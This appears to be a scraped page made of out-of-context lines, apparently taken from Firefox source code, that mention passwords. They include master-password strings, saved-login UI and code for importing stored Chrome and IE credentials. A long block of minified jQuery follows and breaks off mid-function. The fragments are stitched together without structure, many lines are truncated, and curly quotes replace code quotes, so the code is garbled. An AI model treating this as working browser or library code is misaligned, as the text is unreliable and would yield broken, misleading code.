<!ENTITY setPassword.oldPassword.label “Current password:”>
<!ENTITY setPassword.newPassword.label “New password:”>
<!ENTITY setPassword.reenterPassword.label “New password (again):”>
<!– Values for resetpassword.xul –>
<!ENTITY resetPassword.text “If you reset your master password, all your stored web and e-mail passwords, form data, personal certificates, and private keys will be forgotten. Are you sure you want to reset your master password?”>
<!ENTITY pkcs12.setpassword.title “Choose a Certificate Backup Password”>
<!ENTITY pkcs12.setpassword.message “The certificate backup password you set here protects the backup file that you are about to create. You must set this password to proceed with the backup.”>
<!ENTITY pkcs12.setpassword.label1 “Certificate backup password:”>
<!ENTITY pkcs12.setpassword.label2 “Certificate backup password (again):”>
<!ENTITY pkcs12.setpassword.reminder “Important: If you forget your certificate backup password, you will not be able to restore this backup later. Please record it in a safe location.”>
getPKCS12FilePasswordMessage=Please enter the password that was used to encrypt this certificate backup:
password_not_set=(not set)
pw_empty_warning=Your stored web and email passwords, form data, and private keys will not be protected.
resetPasswordConfirmationMessage=Your password has been reset.
onboarding-fxa-text = Sign up for a { -fxaccount-brand-name } and sync your bookmarks, passwords, and open tabs everywhere you use { -brand-short-name }.
policy-DisableMasterPasswordCreation = If true, a master password can
policy-OfferToSaveLogins = Enforce the setting to allow { -brand-short-name } to offer to remember saved logins and passwords. Both true and false values are accepted.
.label = Do not prompt for authentication if password is saved
sync-signedout-description = Synchronize your bookmarks, history, tabs, passwords, add-ons, and preferences across all your devices.
.tooltiptext = Usernames and passwords you
.label = Ask to save logins and passwords for websites
.label = Use a master password
sync-disconnect-remove-sync-data = Bookmarks, history, passwords, etc.
// because a restored page contains a password field, it will be loaded on
// Telemetry for master-password – we do this after a delay as it
let rows = await MigrationUtils.getRowsFromDBWithoutLocks(loginPath, “Chrome passwords”,
password_element, password_value, signon_realm, scheme, date_created,
password: crypto.
decryptData(crypto.arrayToString(row.getResultByName(“password_value”)),
passwordElement: row.getResultByName(“password_element”),
let passwords = getFileResource(types.PASSWORDS,
return [places, cookies, passwords, formData, dictionary, bookmarksBackups,
// IE form password migrator supporting windows from XP until 7 and IE from 7 until 11
// used to distinguish between this migrator and other passwords migrators in tests.
* to the Firefox password manager.
password: ieLogin.password,
“passwords were submitted in the IE history and which are needed to be used ” +
* @returns {Object[]} array of objects where each of them contains the username, password, URL,
// Bytes 20-23 are the data count: each username and password is considered as a data
// Bytes 16-19 are the offset of the password
{“passwordOffset”: ctypes.uint32_t},
// currentLoginData.dataMax is the data count: each username and password is considered as
// The password is UTF-16 and null-terminated.
currentResult.password =
ctypes.cast(cdata.addressOfElement(headerSize + 12 + currentLoginItem.passwordOffset),
// Only support the form password migrator for Windows XP to 7.
// Migrator for form passwords on Windows 8 and higher.
// check if there are passwords available for migration.
* If aOnlyCheckExists is false, import the form passwords on Windows 8 and higher from the vault
* Otherwise, check if there are passwords in the vault.
* passwords to migrate. Import the passwords from the vault and call aCallback otherwise.
* @return true if there are passwords in the vault and aOnlyCheckExists is set to true,
* false if there is no password in the vault and aOnlyCheckExists is set to true, undefined if
// if it’s not an ie/edge password, skip it
// least a password which is true in this case because a password was by now already found
let password = credential.contents.pAuthenticatorElement.contents.itemValue.readString();
username, password,
// Note that this means that if we import a login that has a newer password
// outright or storing the old password in the undo file.
Services.prefs.getBoolPref(“security.insecure_password.ui.enabled”);
.setAttribute(“href”, baseURL + “insecure-password”);
// “need to reconnect/re-enter your password”
// Strip off “wyciwyg://” and passwords for the location bar
// If the current URI contains a username/password, remove it.
label-password=”&fillPasswordMenu.label;”
accesskey-password=”&fillPasswordMenu.accesskey;”
<menuitem id=”fill-login-saved-passwords”
<popupnotification id=”password-notification” hidden=”true”>
<textbox id=”password-notification-username”/>
<textbox id=”password-notification-password” type=”password” show-content=””/>
<checkbox id=”password-notification-visibilityToggle” hidden=”true”/>
<image id=”password-notification-icon” class=”notification-anchor-icon login-icon” role=”button”
tooltiptext=”&urlbar.passwordNotificationAnchor.tooltip;”/>
label-password=”&fillPasswordMenu.label;”
accesskey-password=”&fillPasswordMenu.accesskey;”
<menuitem id=”fill-login-saved-passwords”
<popupnotification id=”password-notification” hidden=”true”>
<textbox id=”password-notification-username”/>
<textbox id=”password-notification-password” type=”password” show-content=””/>
<checkbox id=”password-notification-visibilityToggle” hidden=”true”/>
<image id=”password-notification-icon” class=”notification-anchor-icon login-icon” role=”button”
tooltiptext=”&urlbar.passwordNotificationAnchor.tooltip;”/>
// If we have a null principal then prevent any more password manager code from running and
source code form), and must require no special password or key for
type = “passwords”;
// If we could not find a password field we
let showFill = loginFillInfo && loginFillInfo.passwordField.found;
// Disable the fill option if the user has set a master password
// or if the password field or target field are disabled.
loginFillInfo.passwordField.disabled ||
fillMenu.setAttribute(“label”, fillMenu.getAttribute(“label-password”));
fillMenu.setAttribute(“accesskey”, fillMenu.getAttribute(“accesskey-password”));
<label control=”security-privacy-passwords-value”>&securityView.privacy.passwords;</label>
<hbox id=”security-privacy-passwords-box” align=”center”>
<label id=”security-privacy-passwords-value”
<button id=”security-view-password”
setText(“security-privacy-passwords-value”,
* saved passwords
case “passwords”:
return doRemoval(options, {passwords: true});
onPassword: “password”,
* Show the migration wizard for importing passwords,
<stringbundle id=”signonBundle” src=”chrome://passwordmgr/locale/passwordmgr.properties”/>
<groupbox id=”passwordsGroup” orient=”vertical” data-category=”panePrivacy” hidden=”true”>
<vbox id=”passwordSettings”>
<button id=”passwordExceptions”
preference=”pref.privacy.disable_button.view_passwords_exceptions”
preference=”pref.privacy.disable_button.view_passwords”/>
preference=”engine.passwords”/>
{ id: “pref.privacy.disable_button.view_passwords”, type: “bool” },
{ id: “pref.privacy.disable_button.view_passwords_exceptions”, type: “bool” },
setEventListener(“passwordExceptions”, “command”,
* where passwords are never saved.
* Initializes master password UI: the “use master password” checkbox, selects
* the master password button to show, and enables/disables it as necessary.
* The master password is controlled by various bits of NSS functionality, so
* Enables/disables the master password button depending on the state of the
* “use master password” checkbox, and prompts for master password removal if
// password, because it’s impossible to non-destructively remove the master
// password used to encrypt all the passwords without providing it (by
* Displays the “remove master password” dialog to allow the user to remove
* the current master password. When the dialog is dismissed, master password
* Displays a dialog in which the master password may be changed.
* Shows the sites where the user has saved passwords and the associated login
gSubDialog.open(“chrome://passwordmgr/content/passwordManager.xul”);
* passwords are never saved. When browser is set to start in Private
* Browsing mode, the “Remember passwords” UI is useless, so we disable it.
var excepts = document.getElementById(“passwordExceptions”);
{ id: “engine.passwords”, name: “services.sync.engine.passwords”, type: “bool” },
// server rejected our credentials (eg, password changed on the server)
“passwords”: {
“description”: “Stored passwords.”
“description”: “Clears the browser’s stored passwords.”,
“description”: “Called when the browser’s passwords have been cleared.”,
“enum”: [“all”, “page”, “frame”, “selection”, “link”, “editable”, “password”, “image”, “video”, “audio”, “launcher”, “bookmark”, “browser_action”, “page_action”, “tab”],
“enum”: [“all”, “page”, “frame”, “selection”, “link”, “editable”, “password”, “image”, “video”, “audio”, “launcher”, “bookmark”, “browser_action”, “page_action”, “tab”, “tools_menu”],
label-password=”&fillPasswordMenu.label;”
accesskey-password=”&fillPasswordMenu.accesskey;”
<menuitem id=”fill-login-saved-passwords”
!function(a,b){“object”==typeof module&&”object”==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error(“jQuery requires a window with a document”);return b(a)}:b(a)}(“undefined”!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m=”2.1.1″,n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:””,length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for(“boolean”==typeof g&&(j=g,g=arguments[h]||{},h++),”object”==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h–);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:”jQuery”+(m+Math.random()).replace(/\D/g,””),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return”function”===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)>=0},isPlainObject:function(a){return”object”!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,”isPrototypeOf”)?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+””:”object”==typeof a||”function”==typeof a?h[i.call(a)]||”object”:typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf(“use strict”)?(b=l.createElement(“script”),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,”ms-“).replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?””:(a+””).replace(o,””)},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,”string”==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return”string”==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each(“Boolean Number String Function Array Date RegExp Object Error”.split(” “),function(a,b){h[“[object “+b+”]”]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return”function”===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:”array”===c||0===b||”number”==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u=”sizzle”+-new Date,v=a.document,w=0,x=0,y=gb(),z=gb(),A=gb(),B=function(a,b){return a===b&&(l=!0),0},C=”undefined”,D=1<<31,E={}.hasOwnProperty,F=[],G=F.pop,H=F.push,I=F.push,J=F.slice,K=F.indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]===a)return b;return-1},L=”checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped”,M=”[\\x20\\t\\r\\n\\f]”,N=”(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+”,O=N.replace(“w”,”w#”),P=”\\[“+M+”*(“+N+”)(?:”+M+”*([*^$|!~]?=)”+M+”*(?:'((?:\\\\.|[^\\\\’])*)’|\”((?:\\\\.|[^\\\\\”])*)\”|(“+O+”))|)”+M+”*\\]”,Q=”:(“+N+”)(?:\\(((‘((?:\\\\.|[^\\\\’])*)’|\”((?:\\\\.|[^\\\\\”])*)\”)|((?:\\\\.|[^\\\\()[\\]]|”+P+”)*)|.*)\\)|)”,R=new RegExp(“^”+M+”+|((?:^|[^\\\\])(?:\\\\.)*)”+M+”+$”,”g”),S=new RegExp(“^”+M+”*,”+M+”*”),T=new RegExp(“^”+M+”*([>+~]|”+M+”)”+M+”*”),U=new RegExp(“=”+M+”*([^\\]’\”]*?)”+M+”*\\]”,”g”),V=new RegExp(Q),W=new RegExp(“^”+O+”$”),X={ID:new RegExp(“^#(“+N+”)”),CLASS:new RegExp(“^\\.(“+N+”)”),TAG:new RegExp(“^(“+N.replace(“w”,”w*”)+”)”),ATTR:new RegExp(“^”+P),PSEUDO:new RegExp(“^”+Q),CHILD:new RegExp(“^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(“+M+”*(even|odd|(([+-]|)(\\d*)n|)”+M+”*(?:([+-]|)”+M+”*(\\d+)|))”+M+”*\\)|)”,”i”),bool:new RegExp(“^(?:”+L+”)$”,”i”),needsContext:new RegExp(“^”+M+”*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(“+M+”*((?:-\\d)?\\d*)”+M+”*\\)|)(?=[^-]|$)”,”i”)},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ab=/[+~]/,bb=/’|\\/g,cb=new RegExp(“\\\\([\\da-f]{1,6}”+M+”?|(“+M+”)|.)”,”ig”),db=function(a,b,c){var d=”0x”+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{I.apply(F=J.call(v.childNodes),v.childNodes),F[v.childNodes.length].nodeType}catch(eb){I={apply:F.length?function(a,b){H.apply(a,J.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fb(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],!a||”string”!=typeof a)return d;if(1!==(k=b.nodeType)&&9!==k)return[];if(p&&!e){if(f=_.exec(a))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return I.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName&&b.getElementsByClassName)return I.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=9===k&&a,1===k&&”object”!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute(“id”))?s=r.replace(bb,”\\$&”):b.setAttribute(“id”,s),s=”[id='”+s+”‘] “,l=o.length;while(l–)o[l]=s+qb(o[l]);w=ab.test(a)&&ob(b.parentNode)||b,x=o.join(“,”)}if(x)try{return I.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute(“id”)}}}return i(a.replace(R,”$1″),b,d,e)}function gb(){var a=[];function b(c,e){return a.push(c+” “)>d.cacheLength&&delete b[a.shift()],b[c+” “]=e}return b}function hb(a){return a[u]=!0,a}function ib(a){var b=n.createElement(“div”);try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function jb(a,b){var c=a.split(“|”),e=a.length;while(e–)d.attrHandle[c[e]]=b}function kb(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||D)-(~a.sourceIndex||D);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function lb(a){return function(b){var c=b.nodeName.toLowerCase();return”input”===c&&b.type===a}}function mb(a){return function(b){var c=b.nodeName.toLowerCase();return(“input”===c||”button”===c)&&b.type===a}}function nb(a){return hb(function(b){return b=+b,hb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g–)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function ob(a){return a&&typeof a.getElementsByTagName!==C&&a}c=fb.support={},f=fb.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?”HTML”!==b.nodeName:!1},m=fb.setDocument=function(a){var b,e=a?a.ownerDocument||a:v,g=e.defaultView;return e!==n&&9===e.nodeType&&e.documentElement?(n=e,o=e.documentElement,p=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener(“unload”,function(){m()},!1):g.attachEvent&&g.attachEvent(“onunload”,function(){m()})),c.attributes=ib(function(a){return a.className=”i”,!a.getAttribute(“className”)}),c.getElementsByTagName=ib(function(a){return a.appendChild(e.createComment(“”)),!a.getElementsByTagName(“*”).length}),c.getElementsByClassName=$.test(e.getElementsByClassName)&&ib(function(a){return a.innerHTML=”<div class=’a’></div><div class=’a i’></div>”,a.firstChild.className=”i”,2===a.getElementsByClassName(“i”).length}),c.getById=ib(function(a){return o.appendChild(a).id=u,!e.getElementsByName||!e.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==C&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){return a.getAttribute(“id”)===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){var c=typeof a.getAttributeNode!==C&&a.getAttributeNode(“id”);return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==C?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if(“*”===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==C&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(e.querySelectorAll))&&(ib(function(a){a.innerHTML=”<select msallowclip=”><option selected=”></option></select>”,a.querySelectorAll(“[msallowclip^=”]”).length&&q.push(“[*^$]=”+M+”*(?:”|\”\”)”),a.querySelectorAll(“[selected]”).length||q.push(“\\[“+M+”*(?:value|”+L+”)”),a.querySelectorAll(“:checked”).length||q.push(“:checked”)}),ib(function(a){var b=e.createElement(“input”);b.setAttribute(“type”,”hidden”),a.appendChild(b).setAttribute(“name”,”D”),a.querySelectorAll(“[name=d]”).length&&q.push(“name”+M+”*[*^$|!~]?=”),a.querySelectorAll(“:enabled”).length||q.push(“:enabled”,”:disabled”),a.querySelectorAll(“*,:x”),q.push(“,.*:”)})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ib(function(a){c.disconnectedMatch=s.call(a,”div”),s.call(a,”[s!=”]:x”),r.push(“!=”,Q)}),q=q.length&&new RegExp(q.join(“|”)),r=r.length&&new RegExp(r.join(“|”)),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===v&&t(v,a)?-1:b===e||b.ownerDocument===v&&t(v,b)?1:k?K.call(k,a)-K.call(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],i=[b];if(!f||!g)return a===e?-1:b===e?1:f?-1:g?1:k?K.call(k,a)-K.call(k,b):0;if(f===g)return kb(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?kb(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},e):n},fb.matches=function(a,b){return fb(a,null,null,b)},fb.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,”=’$1′]”),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fb(b,n,null,[a]).length>0},fb.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fb.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&E.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fb.error=function(a){throw new Error(“Syntax error, unrecognized expression: “+a)},fb.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e–)a.splice(d[e],1)}return k=null,a},e=fb.getText=function(a){var b,c=””,d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if(“string”==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fb.selectors={cacheLength:50,createPseudo:hb,match:X,attrHandle:{},find:{},relative:{“>”:{dir:”parentNode”,first:!0},” “:{dir:”parentNode”},”+”:{dir:”previousSibling”,first:!0},”~”:{dir:”previousSibling”}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(cb,db),a[3]=(a[3]||a[4]||a[5]||””).replace(cb,db),”~=”===a[2]&&(a[3]=” “+a[3]+” “),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),”nth”===a[1].slice(0,3)?(a[3]||fb.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*(“even”===a[3]||”odd”===a[3])),a[5]=+(a[7]+a[8]||”odd”===a[3])):a[3]&&fb.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||””:c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(“)”,c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(cb,db).toLowerCase();return”*”===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+” “];return b||(b=new RegExp(“(^|”+M+”)”+a+”(“+M+”|$)”))&&y(a,function(a){return b.test(“string”==typeof a.className&&a.className||typeof a.getAttribute!==C&&a.getAttribute(“class”)||””)})},ATTR:function(a,b,c){return function(d){var e=fb.attr(d,a);return null==e?”!=”===b:b?(e+=””,”=”===b?e===c:”!=”===b?e!==c:”^=”===b?c&&0===e.indexOf(c):”*=”===b?c&&e.indexOf(c)>-1:”$=”===b?c&&e.slice(-c.length)===c:”~=”===b?(” “+e+” “).indexOf(c)>-1:”|=”===b?e===c||e.slice(0,c.length+1)===c+”-“:!1):!0}},CHILD:function(a,b,c,d,e){var f=”nth”!==a.slice(0,3),g=”last”!==a.slice(-4),h=”of-type”===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?”nextSibling”:”previousSibling”,q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p=”only”===a&&!o&&”nextSibling”}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fb.error(“unsupported pseudo: “+a);return e[u]?e(b):e.length>1?(c=[a,a,””,b],d.setFilters.hasOwnProperty(a.toLowerCase())?hb(function(a,c){var d,f=e(a,b),g=f.length;while(g–)d=K.call(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:hb(function(a){var b=[],c=[],d=h(a.replace(R,”$1″));return d[u]?hb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h–)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:hb(function(a){return function(b){return fb(a,b).length>0}}),contains:hb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:hb(function(a){return W.test(a||””)||fb.error(“unsupported lang: “+a),a=a.replace(cb,db).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute(“xml:lang”)||b.getAttribute(“lang”))return c=c.toLowerCase(),c===a||0===c.indexOf(a+”-“);while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return”input”===b&&!!a.checked||”option”===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return”input”===b&&”button”===a.type||”button”===b},text:function(a){var b;return”input”===a.nodeName.toLowerCase()&&”text”===a.type&&(null==(b=a.getAttribute(“type”))||”text”===b.toLowerCase())},first:nb(function(){return[0]}),last:nb(function(a,b){return[b-1]}),eq:nb(function(a,b,c){return[0>c?c+b:c]}),even:nb(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:nb(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:nb(function(a,b,c){for(var d=0>c?c+b:c;–d>=0;)a.push(d);return a}),gt:nb(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=lb(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=mb(b);function pb(){}pb.prototype=d.filters=d.pseudos,d.setFilters=new pb,g=fb.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+” “];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){(!c||(e=S.exec(h)))&&(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=T.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(R,” “)}),h=h.slice(c.length));for(g in d.filter)!(e=X[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?fb.error(a):z(a,i).slice(0)};function qb(a){for(var b=0,c=a.length,d=””;c>b;b++)d+=a[b].value;return d}function rb(a,b,c){var d=b.dir,e=c&&”parentNode”===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function sb(a){return a.length>1?function(b,c,d){var e=a.length;while(e–)if(!a[e](b,c,d))return!1;return!0}:a[0]}function tb(a,b,c){for(var d=0,e=b.length;e>d;d++)fb(a,b[d],c);return c}function ub(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function vb(a,b,c,d,e,f){return d&&!d[u]&&(d=vb(d)),e&&!e[u]&&(e=vb(e,f)),hb(function(f,g,h,i){var 